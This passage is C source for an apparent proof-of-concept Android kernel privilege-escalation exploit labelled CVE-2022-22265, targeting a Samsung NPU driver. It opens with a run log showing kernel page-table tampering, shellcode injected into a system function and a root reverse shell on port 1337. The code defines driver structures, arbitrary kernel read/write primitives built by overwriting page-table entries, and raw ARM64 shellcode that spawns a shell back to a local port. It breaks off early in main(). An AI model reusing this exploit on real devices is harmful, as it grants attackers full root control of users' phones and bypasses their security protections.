ffffff88aaf3a500 -> kworker/6:36H | |
ffffff88aaf38000 -> kworker/6:37H | |
ffffff88aaf3dc80 -> kworker/6:38H | |
ffffff88aaf83780 -> kworker/6:39H | |
ffffff88aaf82500 -> kworker/6:40H | |
ffffff88aaf29280 -> webview_zygote | |
ffffff88a5fb4a00 -> rkstack.process | |
ffffff805a402500 -> com.sec.epdg | |
ffffff88bc980000 -> com.sec.sve | |
ffffff805a723780 -> com.android.nfc | |
ffffff805a721280 -> .sec.imsservice | |
ffffff88b3642500 -> com.android.se | |
ffffff88b3640000 -> ris.tui_service | |
ffffff8058ceb780 -> id.app.launcher | |
ffffff8004802500 -> id.ext.services | |
ffffff8009b0ca00 -> [email protected] | |
ffffff800a371280 -> kworker/u17:3 | |
ffffff800a892500 -> location.nsflp2 | |
ffffff800ab4dc80 -> perfsdkserver | |
ffffff80586e1280 -> loop46 | |
ffffff800a3c3780 -> zram0_wbd | |
ffffff800f75ca00 -> pageboostd | |
ffffff800f759280 -> adbd | |
ffffff800ecbca00 -> kbase_event | |
ffffff802a233780 -> .gms.persistent | |
ffffff802a231280 -> rs.media.module | |
ffffff8032c42500 -> hbox:interactor | |
ffffff8032f81280 -> s.messaging:rcs | |
ffffff804288a500 -> id.diagmonagent | |
ffffff8042888000 -> c.android.sdhms | |
ffffff8032c44a00 -> d.process.media | |
ffffff885b841280 -> earchbox:search | |
ffffff804f9db780 -> kbase_event | |
ffffff801a0ea500 -> kworker/1:2H | |
ffffff8050aedc80 -> kworker/2:2H | |
ffffff8057cfdc80 -> kworker/7:78H | |
ffffff8057ea0000 -> kworker/7:82H | |
ffffff8057ea9280 -> kworker/7:88H | |
ffffff8057ea8000 -> kworker/3:2H | |
ffffff8057fd1280 -> kworker/4:3H | |
ffffff806ad7dc80 -> kworker/0:194H | |
ffffff806add9280 -> kworker/0:206H | |
ffffff806ae32500 -> kworker/0:217H | |
ffffff806ae30000 -> kworker/0:218H | |
ffffff806ae40000 -> kworker/0:219H | |
ffffff806ae44a00 -> kworker/0:220H | |
ffffff806ae45c80 -> kworker/0:221H | |
ffffff806ae43780 -> kworker/0:222H | |
ffffff806ae41280 -> kworker/0:223H | |
ffffff806ae42500 -> kworker/0:224H | |
ffffff806ae92500 -> kworker/0:225H | |
ffffff806ae90000 -> kworker/0:226H | |
ffffff806ae94a00 -> kworker/0:227H | |
ffffff806ae95c80 -> kworker/0:228H | |
ffffff806ae93780 -> kworker/0:229H | |
ffffff806ae91280 -> kworker/0:230H | |
ffffff806ae9a500 -> kworker/0:231H | |
ffffff806ae98000 -> kworker/0:232H | |
ffffff806ae9ca00 -> kworker/0:233H | |
ffffff806ae9dc80 -> kworker/0:234H | |
ffffff806ae9b780 -> kworker/0:235H | |
ffffff806ae99280 -> kworker/0:236H | |
ffffff806aeeb780 -> kworker/0:237H | |
ffffff806aee9280 -> kworker/0:238H | |
ffffff806aeea500 -> kworker/0:239H | |
ffffff806aee8000 -> kworker/0:240H | |
ffffff806aeeca00 -> kworker/0:241H | |
ffffff806aeedc80 -> kworker/0:242H | |
ffffff806aef5c80 -> kworker/0:243H | |
ffffff806aef3780 -> kworker/0:244H | |
ffffff806aef1280 -> kworker/0:245H | |
ffffff806aef2500 -> kworker/0:246H | |
ffffff806aef0000 -> kworker/0:247H | |
ffffff806aef4a00 -> kworker/0:248H | |
ffffff806af4ca00 -> kworker/0:249H | |
ffffff806af4dc80 -> kworker/0:250H | |
ffffff806af4b780 -> kworker/0:251H | |
ffffff806af49280 -> kworker/0:252H | |
ffffff806af4a500 -> kworker/0:253H | |
ffffff806af48000 -> kworker/0:254H | |
ffffff806af54a00 -> kworker/0:255H | |
ffffff806af53780 -> kworker/0:257H | |
ffffff806d3e8000 -> ogle.android.as | |
ffffff88b7394a00 -> gle.android.gms | |
ffffff8819190000 -> com.wssyncmldm | |
ffffff8079931280 -> martsuggestions | |
ffffff8829613780 -> id.app.routines | |
ffffff801a0eb780 -> wifi.mobilewips | |
ffffff883b080000 -> irq/190-dwc3 | |
ffffff882b694a00 -> com.samsung.cmh | |
ffffff884f7dca00 -> ung.android.scs | |
ffffff8867eb9280 -> kworker/5:2H | |
ffffff88a35d4a00 -> kbase_event | |
ffffff88393f8000 -> d.process.acore | |
ffffff88393fca00 -> ung.android.fmm | |
ffffff88b550a500 -> .app.aodservice | |
ffffff802527a500 -> sh | |
ffffff8008df8000 -> droid.messaging | |
ffffff8030e8b780 -> su | |
ffffff806d37b780 -> sh | |
ffffff8030e84a00 -> kworker/3:2 | |
ffffff806ce14a00 -> d.beaconmanager | |
ffffff88a4c33780 -> droid.bluetooth | |
ffffff88bd54dc80 -> msung.klmsagent | |
ffffff8051923780 -> fwhdr_crc_wq | |
ffffff88f1ff8000 -> mxmgmt_thread_w | |
ffffff8051920000 -> mxlog_thread | |
ffffff88bcf7dc80 -> sh | |
ffffff88b3468000 -> cControlService | |
ffffff8059e6ca00 -> exp1337 | |
[+] found current process | |
[+] current->files->fdt->fd 0xffffff88a3300000 | |
[+] current->mm 0xffffff8834458b40 | |
[+] current->mm->pgd 0xffffff88fee68000 | |
[+] offset_logline 0x818 | |
[+] offset_pud 0x1e4 | |
[+] offset_pmd 0x190 | |
[+] offset_pte 0x19 | |
[+] pud 0x8000008b6e1c003 | |
[+] pmd 0x8b6e1b003 | |
[+] pte_logline 0x6000089aed9fc3 | |
[+] shellcode injected into LogLine | |
[+] execute nc -lp 1337 and press key here | |
[+] trigger lpe | |
[+] look at root reverse shell :) | |
[+] LogLine function restaured | |
[+] clean up | |
[+] finish | |
a25x:/ $ | |
a25x:/ $ nc -lp 1337 | |
id | |
uid=0(root) gid=0(root) groups=0(root),3009(readproc) context=u:r:sec_system_init_shell:s0 | |
*/ | |
#define _GNU_SOURCE | |
#include <stdio.h> | |
#include <stdlib.h> | |
#include <unistd.h> | |
#include <stdint.h> | |
#include <stdbool.h> | |
#include <fcntl.h> | |
#include <unistd.h> | |
#include <errno.h> | |
#include <string.h> | |
#include <pthread.h> | |
#include <sys/wait.h> | |
#include <sys/syscall.h> | |
#include <time.h> | |
#include <sys/ioctl.h> | |
#include <sys/mman.h> | |
#include <sys/prctl.h> | |
#include <sys/signalfd.h> | |
#include <signal.h> | |
#include <sys/stat.h> | |
#include <math.h> | |
#define OBJECT_SIZE 128 | |
#define OBJS_PER_SLAB 32 | |
#define CPU_PARTIAL 512 | |
#define NUM_FILES 0x3800 | |
#define NUM_TABLE 32 | |
#define NUM_PTE 512 | |
#define DMA_HEAP_IOC_MAGIC 'H' | |
#define DMA_HEAP_IOCTL_ALLOC _IOWR(DMA_HEAP_IOC_MAGIC, 0x0, struct dma_heap_allocation_data) | |
#define NCP_MAGIC1 0x0C0FFEE0 | |
#define NCP_MAGIC2 0xC0DEC0DE | |
#define VS4L_DF_IMAGE(a, b, c, d) ((a) | (b << 8) | (c << 16) | (d << 24)) | |
#define VS4L_DF_IMAGE_NPU VS4L_DF_IMAGE('N', 'P', 'U', '0') | |
#define VS4L_VERTEXIOC_S_GRAPH _IOW('V', 0, struct vs4l_graph) | |
#define VS4L_VERTEXIOC_S_FORMAT _IOW('V', 1, struct vs4l_format_list) | |
#define VS4L_VERTEXIOC_STREAM_ON _IO('V', 4) | |
#define VS4L_VERTEXIOC_STREAM_OFF _IO('V', 5) | |
#define MAX_PIPES 256 | |
#define MAX_SIGNAL 32 | |
#define N 1 // kcalloc arbitrary size N * 80 / 0 < N <= 16 | |
#define LINUX_ARM64_IMAGE_MAGIC 0x644d5241 | |
#define KERNEL_DATA 0x1de0000 | |
#define SELINUX_STATE 0x3ea000 | |
#define OFF_SELINUX_STATE 0x968 | |
#define INIT_TASK 0x1d000 | |
#define OFF_INIT_TASK 0xe80 | |
#define OFFSET_TASKS 0x4c8 | |
#define OFFSET_MM 0x518 | |
#define OFFSET_PID 0x5c8 | |
#define OFFSET_CRED 0x780 | |
#define OFFSET_COMM 0x790 | |
#define OFFSET_FS 0x7b8 | |
#define OFFSET_FILES 0x7c0 | |
#define OFFSET_PGD 0x48 | |
#define OFFSET_FDT 0x20 | |
#define OFFSET_FD 0x8 | |
int fd; | |
int fd_read; | |
int pipefd[MAX_PIPES][2]; | |
int fd_init[NUM_FILES]; | |
int fd_cross[(CPU_PARTIAL * OBJS_PER_SLAB) + MAX_SIGNAL + 1]; | |
char *map[NUM_TABLE][NUM_PTE]; | |
uint32_t phys_off; | |
uint64_t pmd[4]; | |
uint8_t offset_pgt; | |
sigset_t mask; | |
enum vs4l_direction { | |
VS4L_DIRECTION_IN = 1, | |
VS4L_DIRECTION_OT | |
}; | |
struct vs4l_graph { | |
uint32_t id; | |
uint32_t priority; | |
uint32_t time; /* in millisecond */ | |
uint32_t flags; | |
uint32_t size; | |
unsigned long addr; | |
}; | |
struct vs4l_format_list { | |
uint32_t direction; | |
uint32_t count; | |
struct vs4l_format *formats; | |
}; | |
struct vs4l_format { | |
uint32_t target; | |
uint32_t format; | |
uint32_t plane; | |
uint32_t width; | |
uint32_t height; | |
uint32_t stride; | |
uint32_t cstride; | |
uint32_t channels; | |
uint32_t pixel_format; | |
}; | |
struct drv_user_share { | |
uint32_t id; | |
int ncp_fd; | |
uint32_t ncp_size; | |
unsigned long ncp_mmap; | |
}; | |
struct dma_heap_allocation_data { | |
uint64_t len; | |
uint32_t fd; | |
uint32_t fd_flags; | |
uint64_t heap_flags; | |
}; | |
struct ncp_header { | |
uint32_t magic_number1; | |
uint32_t hdr_version; | |
uint32_t hdr_size; | |
uint32_t intrinsic_version; | |
uint32_t net_id; | |
uint32_t unique_id; | |
uint32_t priority; | |
uint32_t flags; | |
uint32_t period; | |
uint32_t workload; | |
uint32_t total_flc_transfer_size; | |
uint32_t total_sdma_transfer_size; | |
uint32_t address_vector_offset; | |
uint32_t address_vector_cnt; | |
uint32_t memory_vector_offset; | |
uint32_t memory_vector_cnt; | |
uint32_t group_vector_offset; | |
uint32_t group_vector_cnt; | |
uint32_t thread_vector_offset; | |
uint32_t thread_vector_cnt; | |
uint32_t body_version; | |
uint32_t body_offset; | |
uint32_t body_size; | |
uint32_t io_vector_offset; | |
uint32_t io_vector_cnt; | |
uint32_t rq_vector_offset; | |
uint32_t rq_vector_size; | |
uint32_t reserved[8]; | |
uint32_t magic_number2; | |
}; | |
struct group_vector { | |
uint32_t index; | |
uint32_t id; | |
uint32_t type; | |
uint32_t size; | |
uint32_t status; | |
uint32_t flags; | |
uint32_t batch; | |
uint32_t intrinsic_offset; | |
uint32_t intrinsic_size; | |
uint32_t isa_offset; | |
uint32_t isa_size; | |
}; | |
struct memory_vector { | |
uint32_t type; | |
uint32_t pixel_format; | |
uint32_t width; | |
uint32_t height; | |
uint32_t channels; | |
uint32_t wstride; | |
uint32_t cstride; | |
uint32_t address_vector_index; | |
}; | |
struct address_vector { | |
uint32_t index; | |
uint32_t m_addr; | |
uint32_t s_addr; | |
uint32_t size; | |
}; | |
enum ncp_memory_type { | |
MEMORY_TYPE_IN_FMAP, /* input feature map */ | |
MEMORY_TYPE_OT_FMAP, /* output feature map */ | |
MEMORY_TYPE_IM_FMAP, /* intermediate feature map */ | |
MEMORY_TYPE_OT_PIX0, | |
MEMORY_TYPE_OT_PIX1, | |
MEMORY_TYPE_OT_PIX2, | |
MEMORY_TYPE_OT_PIX3, | |
MEMORY_TYPE_WEIGHT, | |
MEMORY_TYPE_WMASK, | |
MEMORY_TYPE_LUT, | |
MEMORY_TYPE_NCP, | |
MEMORY_TYPE_GOLDEN, | |
MEMORY_TYPE_CUCODE, | |
MEMORY_TYPE_MAX | |
}; | |
struct ncp_blob { | |
uint32_t vector; | |
uint32_t offset; | |
uint32_t format; | |
uint32_t bpp; | |
uint32_t n; | |
uint32_t c; | |
uint32_t h; | |
uint32_t w; | |
uint32_t w_stride; | |
uint32_t c_stride; | |
uint32_t n_stride; | |
}; | |
struct dma_simple_option { | |
uint32_t src_vector; | |
uint32_t src_offset; | |
uint32_t dst_vector; | |
uint32_t dst_offset; | |
uint32_t size; | |
}; | |
struct dma_blob_option { | |
struct ncp_blob src; | |
struct ncp_blob dst; | |
}; | |
struct io_desc { | |
uint32_t uid; | |
uint32_t bid; | |
uint32_t sgid; | |
uint32_t wait_flag; | |
uint32_t trig_flag; | |
uint32_t mode; | |
uint32_t pad; | |
uint32_t scale; | |
uint32_t bias; | |
union { | |
struct dma_simple_option simple; | |
struct dma_blob_option blob; | |
} option; | |
}; | |
struct pipe_buffer { | |
uint64_t page; | |
uint32_t offset; | |
uint32_t len; | |
uint64_t ops; | |
uint32_t flags; | |
uint32_t pad; | |
uint64_t private; | |
}; | |
struct pipe_buf_operations { | |
uint64_t confirm; | |
uint64_t release; | |
uint64_t steal; | |
uint64_t get; | |
}; | |
struct dma_heap_allocation_data data; | |
struct drv_user_share user_data; | |
struct vs4l_graph graph; | |
struct ncp_header *ncp; | |
struct group_vector *gv; | |
struct address_vector *av; | |
struct memory_vector *mv; | |
#define MEMSTART 0x80000000UL | |
#define VIRTUAL_KERNEL_START 0xffffffc008000000UL | |
#define LINEAR_MAP_START 0xffffff8000000000UL | |
bool is_lm_addr(uint64_t kaddr) | |
{ | |
return (kaddr & (VIRTUAL_KERNEL_START - (0x8 << (6 * 4)))) == LINEAR_MAP_START; | |
} | |
uint64_t virt_to_phys(uint64_t kaddr) | |
{ | |
if (is_lm_addr(kaddr)) { | |
return kaddr - LINEAR_MAP_START + MEMSTART; | |
} else { | |
return kaddr - VIRTUAL_KERNEL_START + MEMSTART; | |
} | |
} | |
uint64_t phys_to_virt(uint64_t paddr, bool is_lm_addr) | |
{ | |
if (is_lm_addr) { | |
return paddr + LINEAR_MAP_START - MEMSTART; | |
} else { | |
return paddr + VIRTUAL_KERNEL_START - MEMSTART; | |
} | |
} | |
uint64_t vmemmap = 0xffffffff00000000UL; | |
uint64_t virt_to_page(uint64_t kaddr) | |
{ | |
return vmemmap + (((virt_to_phys(kaddr) - MEMSTART) >> 12) << 6); | |
} | |
uint64_t page_to_virt(uint64_t page, bool is_lm_addr) | |
{ | |
return phys_to_virt((((page - vmemmap) >> 6) << 12) + MEMSTART, is_lm_addr); | |
} | |
int ncpu; | |
bool pin_cpu(int cpu) { | |
cpu_set_t set; | |
CPU_ZERO(&set); | |
CPU_SET(cpu, &set); | |
if (sched_setaffinity(0, sizeof(set), &set) < 0) { | |
perror("[-] sched_setafinnity(): "); | |
return false; | |
} | |
return true; | |
} | |
char *page, *victim; | |
#define TLB 0x28000UL | |
uint64_t *full_tlb; | |
/* replace tlb cache */ | |
void replace_tlb(void) { | |
/* change context */ | |
sync(); | |
/* access pages */ | |
uint32_t junk = 0; | |
for (uint32_t i = 0; i < TLB; i++) { | |
uint64_t idx = (uint64_t) (full_tlb + i * 512) & ~0x1fffff; | |
if (idx == pmd[0] || idx == pmd[1] || idx == pmd[2] || idx == pmd[3]) { | |
// printf("[*] avoiding pmd 0x%lx\n", idx); | |
continue; | |
} | |
full_tlb[i * 512] = i; | |
full_tlb[(i * 512) + 1] = i; | |
if (full_tlb[i * 512] && full_tlb[(i * 512) + 1]) junk++; | |
} | |
} | |
uint64_t read64(uint64_t addr) { | |
uint32_t off = addr & 0xfff; | |
/* replace tlb cache */ | |
replace_tlb(); | |
uint64_t pte = ((virt_to_phys(addr) >> 12) << 12) | 0xe8000000000f43; | |
*(uint64_t *) (victim + offset_pgt) = pte; | |
/* replace tlb cache */ | |
replace_tlb(); | |
uint64_t data = *(uint64_t *) (page + off); | |
return data; | |
} | |
void write64(uint64_t addr, uint64_t data) { | |
uint32_t off = addr & 0xfff; | |
/* replace tlb cache */ | |
replace_tlb(); | |
uint64_t pte = ((virt_to_phys(addr) >> 12) << 12) | 0xe8000000000f43; | |
*(uint64_t *) (victim + offset_pgt) = pte; | |
/* replace tlb cache */ | |
replace_tlb(); | |
*(uint64_t *) (page + off) = data; | |
} | |
void write32(uint64_t addr, uint32_t data) { | |
uint32_t off = addr & 0xfff; | |
/* replace tlb cache */ | |
replace_tlb(); | |
uint64_t pte = ((virt_to_phys(addr) >> 12) << 12) | 0xe8000000000f43; | |
*(uint64_t *) (victim + offset_pgt) = pte; | |
/* replace tlb cache */ | |
replace_tlb(); | |
*(uint32_t *) (page + off) = data; | |
} | |
void write16(uint64_t addr, uint16_t data) { | |
uint32_t off = addr & 0xfff; | |
/* replace tlb cache */ | |
replace_tlb(); | |
uint64_t pte = ((virt_to_phys(addr) >> 12) << 12) | 0xe8000000000f43; | |
*(uint64_t *) (victim + offset_pgt) = pte; | |
/* replace tlb cache */ | |
replace_tlb(); | |
*(uint16_t *) (page + off) = data; | |
} | |
void write8(uint64_t addr, uint8_t data) { | |
uint32_t off = addr & 0xfff; | |
/* replace tlb cache */ | |
replace_tlb(); | |
uint64_t pte = ((virt_to_phys(addr) >> 12) << 12) | 0xe8000000000f43; | |
*(uint64_t *) (victim + offset_pgt) = pte; | |
/* replace tlb cache */ | |
replace_tlb(); | |
*(page + off) = data; | |
} | |
uint32_t get_directory(uint64_t addr) { | |
return addr & 0x1ff; | |
} | |
void init_ncp_header(struct ncp_header *ncp) { | |
memset(ncp, 0x0, sizeof(struct ncp_header)); | |
ncp->magic_number1 = NCP_MAGIC1; | |
ncp->magic_number2 = NCP_MAGIC2; | |
ncp->hdr_version = 24; | |
ncp->hdr_size = 4096; | |
ncp->intrinsic_version = 24; | |
ncp->memory_vector_cnt = 2; | |
ncp->memory_vector_offset = sizeof(struct ncp_header) * 3; | |
ncp->address_vector_cnt = 2; | |
ncp->address_vector_offset = sizeof(struct ncp_header) * 2; | |
//ncp->group_vector_cnt = 1; | |
//ncp->group_vector_offset = sizeof(struct ncp_header); | |
} | |
void prepare_graph(struct drv_user_share *user_data, struct vs4l_graph *graph, struct dma_heap_allocation_data *data) { | |
memset(user_data, 0x0, sizeof(struct drv_user_share)); | |
user_data->ncp_fd = data->fd; | |
user_data->ncp_size = 0x1000; | |
memset(graph, 0x0, sizeof(struct vs4l_graph)); | |
graph->addr = (unsigned long) user_data; | |
} | |
void do_graph_ioctl(int fd, struct ncp_header *ncp, struct address_vector *av, struct memory_vector *mv, struct vs4l_graph *graph, uint32_t type, uint32_t n) { | |
/* | |
* bpp = mv->pixel_format; | |
* cal_size = (bpp / 8) * mv->channels * mv->width * mv->height; | |
* if (av->size > cal_size) error | |
*/ | |
ncp->memory_vector_cnt = n; | |
ncp->address_vector_cnt = n; | |
memset(av, 0x0, sizeof(struct address_vector)); | |
av->index = 0; | |
memset(mv, 0x0, sizeof(struct memory_vector)); | |
mv->type = type; | |
puts("[+] ioctl graph"); | |
int ret = ioctl(fd, VS4L_VERTEXIOC_S_GRAPH, graph); | |
if (ret < 0) { | |
printf("[-] couldn't ioctl VS4L_VERTEXIOC_S_GRAPH: %d\n", errno); | |
exit(0); | |
} | |
} | |
void do_format_ioctl(int fd, uint32_t count, uint32_t direction, uint32_t f) { | |
struct vs4l_format format[3]; | |
memset(format, 0x0, sizeof(format)); | |
for (int j = 0; j < 3; j++) { | |
format[j].format = f; | |
format[j].height = 64; | |
format[j].width = 64; | |
format[j].pixel_format = 8; | |
format[j].channels = 15; | |
} | |
struct vs4l_format_list format_list; | |
memset(&format_list, 0x0, sizeof(struct vs4l_format_list)); | |
format_list.count = count; | |
format_list.direction = direction; | |
format_list.formats = format; | |
puts("[+] ioctl format"); | |
int ret = ioctl(fd, VS4L_VERTEXIOC_S_FORMAT, &format_list); | |
if (f != 1337) { | |
if (ret < 0) { | |
printf("[-] couldn't ioctl VS4L_VERTEXIOC_S_FORMAT: %d\n", errno); | |
exit(0); | |
} | |
} | |
} | |
void hexdump(uint64_t *buf, uint64_t size) { | |
for (int i = 0; i < size / 8; i += 2) { | |
printf("0x%x ", i * 8); | |
printf("%016lx %016lx\n", buf[i], buf[i + 1]); | |
} | |
} | |
char logline[576] = {0xFF, 0x03, 0x03, 0xD1, 0xFD, 0x7B, 0x06, 0xA9, 0xFC, 0x6F, 0x07, 0xA9, 0xFA, 0x67, 0x08, 0xA9, 0xF8, 0x5F, 0x09, 0xA9, 0xF6, 0x57, 0x0A, 0xA9, 0xF4, 0x4F, 0x0B, 0xA9, 0xFD, 0x83, 0x01, 0x91, 0x5C, 0xD0, 0x3B, 0xD5, 0xF6, 0x03, 0x02, 0x2A, 0xF4, 0x03, 0x01, 0x2A, 0x88, 0x17, 0x40, 0xF9, 0xF5, 0x03, 0x00, 0xAA, 0xC0, 0x03, 0x80, 0x52, 0xE1, 0x03, 0x1F, 0x2A, 0xE2, 0x03, 0x1F, 0x2A, 0xF3, 0x03, 0x04, 0xAA, 0xF7, 0x03, 0x03, 0xAA, 0xA8, 0x83, 0x1F, 0xF8, 0x29, 0x8D, 0x00, 0x94, 0xE0, 0x01, 0x00, 0x34, 0xC8, 0x0A, 0x00, 0x11, 0xDF, 0x16, 0x00, 0x71, 0xEA, 0x00, 0x80, 0x52, 0x09, 0x06, 0x80, 0x52, 0x0B, 0x00, 0xB0, 0x12, 0x08, 0x31, 0x8A, 0x1A, 0xE0, 0x23, 0x00, 0x91, 0xF7, 0xD7, 0x01, 0xA9, 0xE9, 0x07, 0x00, 0xF9, 0xEB, 0x23, 0x02, 0x29, 0xFF, 0xCF, 0x02, 0xA9, 0xF4, 0x2B, 0x00, 0xB9, 0x91, 0x91, 0x00, 0x94, 0x62, 0x00, 0x00, 0x14, 0x17, 0x03, 0x00, 0xB4, 0x1F, 0x20, 0x03, 0xD5, 0xE8, 0x2A, 0x1E, 0x10, 0xF9, 0x01, 0x00, 0x90, 0x08, 0xFD, 0xDF, 0x08, 0x28, 0x0D, 0x00, 0x36, 0x28, 0x03, 0x47, 0xF9, 0xB6, 0x7F, 0x3E, 0x29, 0xF7, 0x07, 0x00, 0xF9, 0xB5, 0x83, 0x1E, 0xF8, 0x00, 0x11, 0x40, 0xF9, 0xB4, 0x43, 0x1E, 0xB8, 0xB3, 0x83, 0x1D, 0xF8, 0x00, 0x0C, 0x00, 0xB4, 0x08, 0x00, 0x40, 0xF9, 0xA1, 0x33, 0x00, 0xD1, 0xA2, 0x43, 0x00, 0xD1, 0xE3, 0x23, 0x00, 0x91, 0xA4, 0x63, 0x00, 0xD1, 0xA5, 0x73, 0x00, 0xD1, 0x08, 0x19, 0x40, 0xF9, 0xA6, 0xA3, 0x00, 0xD1, 0x00, 0x01, 0x3F, 0xD6, 0x4A, 0x00, 0x00, 0x14, 0x1F, 0x20, 0x03, 0xD5, 0x08, 0x27, 0x1E, 0x10, 0xF8, 0x01, 0x00, 0x90, 0x08, 0xFD, 0xDF, 0x08, 0x08, 0x0D, 0x00, 0x36, 0x17, 0xF3, 0x46, 0xF9, 0xE0, 0x03, 0x17, 0xAA, 0xD4, 0x90, 0x00, 0x94, 0xF9, 0x01, 0x00, 0x90, 0x28, 0xEB, 0x46, 0xF9, 0x48, 0x04, 0x00, 0xB5, 0x00, 0x03, 0x80, 0x52, 0xD3, 0x8F, 0x00, 0x94, 0xF8, 0x03, 0x00, 0xAA, 0x09, 0x91, 0x00, 0x94, 0xFB, 0x03, 0x00, 0xAA, 0x1F, 0xFF, 0x00, 0xA9, 0x1F, 0x03, 0x00, 0xF9, 0x35, 0x90, 0x00, 0x94, 0x1F, 0x40, 0x00, 0xB1, 0x82, 0x0F, 0x00, 0x54, 0xFA, 0x03, 0x00, 0xAA, 0x1F, 0x5C, 0x00, 0xF1, 0xFB, 0x03, 0x00, 0xF9, 0xC2, 0x00, 0x00, 0x54, 0x48, 0x7B, 0x1F, 0x53, 0xFB, 0x03, 0x18, 0xAA, 0x68, 0x17, 0x00, 0x38, 0x5A, 0x01, 0x00, 0xB5, 0x0D, 0x00, 0x00, 0x14, 0x59, 0x0F, 0x40, 0xB2, 0x20, 0x07, 0x00, 0x91, 0xBF, 0x8F, 0x00, 0x94, 0x28, 0x0B, 0x00, 0x91, 0xFB, 0x03, 0x00, 0xAA, 0xF9, 0x01, 0x00, 0x90, 0x1A, 0x83, 0x00, 0xA9, 0x08, 0x03, 0x00, 0xF9, 0xE0, 0x03, 0x1B, 0xAA, 0xE1, 0x03, 0x40, 0xF9, 0xE2, 0x03, 0x1A, 0xAA, 0x22, 0x90, 0x00, 0x94, 0x7F, 0x6B, 0x3A, 0x38, 0x38, 0xEB, 0x06, 0xF9, 0x1F, 0x20, 0x03, 0xD5, 0x88, 0x22, 0x1E, 0x10, 0x08, 0xFD, 0xDF, 0x08, 0x48, 0x09, 0x00, 0x36, 0x28, 0xEB, 0x46, 0xF9, 0xE9, 0x01, 0x00, 0x90, 0x0A, 0x01, 0x40, 0x39, 0xB6, 0x7F, 0x3E, 0x29, 0x0B, 0x09, 0x40, 0xF9, 0xB5, 0x83, 0x1E, 0xF8, 0x29, 0x01, 0x47, 0xF9, 0xB4, 0x43, 0x1E, 0xB8, 0x5F, 0x01, 0x00, 0x72, 0xB3, 0x83, 0x1D, 0xF8, 0x68, 0x15, 0x88, 0x9A, 0x20, 0x11, 0x40, 0xF9, 0xE8, 0x07, 0x00, 0xF9, 0x00, 0x03, 0x00, 0xB4, 0x08, 0x00, 0x40, 0xF9, 0xA1, 0x33, 0x00, 0xD1, 0xA2, 0x43, 0x00, 0xD1, 0xE3, 0x23, 0x00, 0x91, 0xA4, 0x63, 0x00, 0xD1, 0xA5, 0x73, 0x00, 0xD1, 0x08, 0x19, 0x40, 0xF9, 0xA6, 0xA3, 0x00, 0xD1, 0x00, 0x01, 0x3F, 0xD6, 0xE0, 0x03, 0x17, 0xAA, 0x9B, 0x90, 0x00, 0x94, 0x88, 0x17, 0x40, 0xF9, 0xA9, 0x83, 0x5F, 0xF8, 0x1F, 0x01, 0x09, 0xEB, 0xC1, 0x08, 0x00, 0x54, 0xF4, 0x4F, 0x4B, 0xA9, 0xF6, 0x57, 0x4A, 0xA9, 0xF8, 0x5F, 0x49, 0xA9, 0xFA, 0x67, 0x48, 0xA9, 0xFC, 0x6F, 0x47, 0xA9, 0xFD, 0x7B, 0x46, 0xA9, 0xFF, 0x03, 0x03, 0x91, 0xC0, 0x03, 0x5F, 0xD6}; | |
char shellcode[287] = {0xff, 0x03, 0x03, 0xd1, 0xfd, 0x7b, 0x06, 0xa9, 0xfc, 0x6f, 0x07, 0xa9, 0xfa, 0x67, 0x08, 0xa9, 0xf8, 0x5f, 0x09, 0xa9, 0xf6, 0x57, 0x0a, 0xa9, 0xf4, 0x4f, 0x0b, 0xa9, 0xc8, 0x15, 0x80, 0xd2, 0x01, 0x00, 0x00, 0xd4, 0x1f, 0x00, 0x00, 0xf1, 0x01, 0x06, 0x00, 0x54, 0x00, 0x24, 0xa0, 0xf2, 0x01, 0x00, 0x80, 0xd2, 0x02, 0x00, 0x80, 0xd2, 0x03, 0x00, 0x80, 0xd2, 0x88, 0x1b, 0x80, 0xd2, 0x01, 0x00, 0x00, 0xd4, 0x1f, 0x00, 0x00, 0xf1, 0x01, 0x05, 0x00, 0x54, 0x40, 0x00, 0x80, 0xd2, 0x21, 0x00, 0x80, 0xd2, 0x02, 0x00, 0x80, 0xd2, 0xc8, 0x18, 0x80, 0xd2, 0x01, 0x00, 0x00, 0xd4, 0xf3, 0x03, 0x00, 0xaa, 0xe0, 0x03, 0x13, 0xaa, 0x01, 0x05, 0x00, 0x10, 0x02, 0x02, 0x80, 0xd2, 0x68, 0x19, 0x80, 0xd2, 0x01, 0x00, 0x00, 0xd4, 0xe0, 0x03, 0x13, 0xaa, 0x01, 0x00, 0x80, 0xd2, 0xe2, 0x03, 0x1f, 0xaa, 0x08, 0x03, 0x80, 0xd2, 0x01, 0x00, 0x00, 0xd4, 0xe0, 0x03, 0x13, 0xaa, 0x21, 0x00, 0x80, 0xd2, 0xe2, 0x03, 0x1f, 0xaa, 0x08, 0x03, 0x80, 0xd2, 0x01, 0x00, 0x00, 0xd4, 0xe0, 0x03, 0x13, 0xaa, 0x41, 0x00, 0x80, 0xd2, 0xe2, 0x03, 0x1f, 0xaa, 0x08, 0x03, 0x80, 0xd2, 0x01, 0x00, 0x00, 0xd4, 0xe0, 0x02, 0x00, 0x10, 0xf5, 0x03, 0x00, 0xaa, 0x16, 0x00, 0x80, 0xd2, 0xf5, 0x03, 0x00, 0xf9, 0xf6, 0x07, 0x00, 0xf9, 0xe1, 0x03, 0x00, 0x91, 0x02, 0x00, 0x80, 0xd2, 0xa8, 0x1b, 0x80, 0xd2, 0x01, 0x00, 0x00, 0xd4, 0x00, 0x00, 0x80, 0xd2, 0x01, 0x00, 0x80, 0xd2, 0xc8, 0x0b, 0x80, 0xd2, 0x01, 0x00, 0x00, 0xd4, 0xf4, 0x4f, 0x4b, 0xa9, 0xf6, 0x57, 0x4a, 0xa9, 0xf8, 0x5f, 0x49, 0xa9, 0xfa, 0x67, 0x48, 0xa9, 0xfc, 0x6f, 0x47, 0xa9, 0xfd, 0x7b, 0x46, 0xa9, 0xff, 0x03, 0x03, 0x91, 0xc0, 0x03, 0x5f, 0xd6, 0x02, 0x00, 0x05, 0x39, 0x7f, 0x00, 0x00, 0x01, 0x2f, 0x73, 0x79, 0x73, 0x74, 0x65, 0x6d, 0x2f, 0x62, 0x69, 0x6e, 0x2f, 0x73, 0x68, 0x00}; | |
int main(int argc, char *argv[]) { | |
pin_cpu(5); | |
puts("[+] CVE-2022-22265"); | |
ncpu = sysconf(_SC_NPROCESSORS_ONLN); | |
/* set name process */ | |
char *name = "exp1337"; | |
prctl(PR_SET_NAME, name, 0, 0, 0); | |
puts("[+] mmap pages to phys r/w"); | |
/* mmap spray pte */ | |
uint64_t addr = 0x20000; | |
for (uint32_t i = 0; i < NUM_TABLE; i++) { | |
for (uint32_t j = 0; j < NUM_PTE; j++) { | |
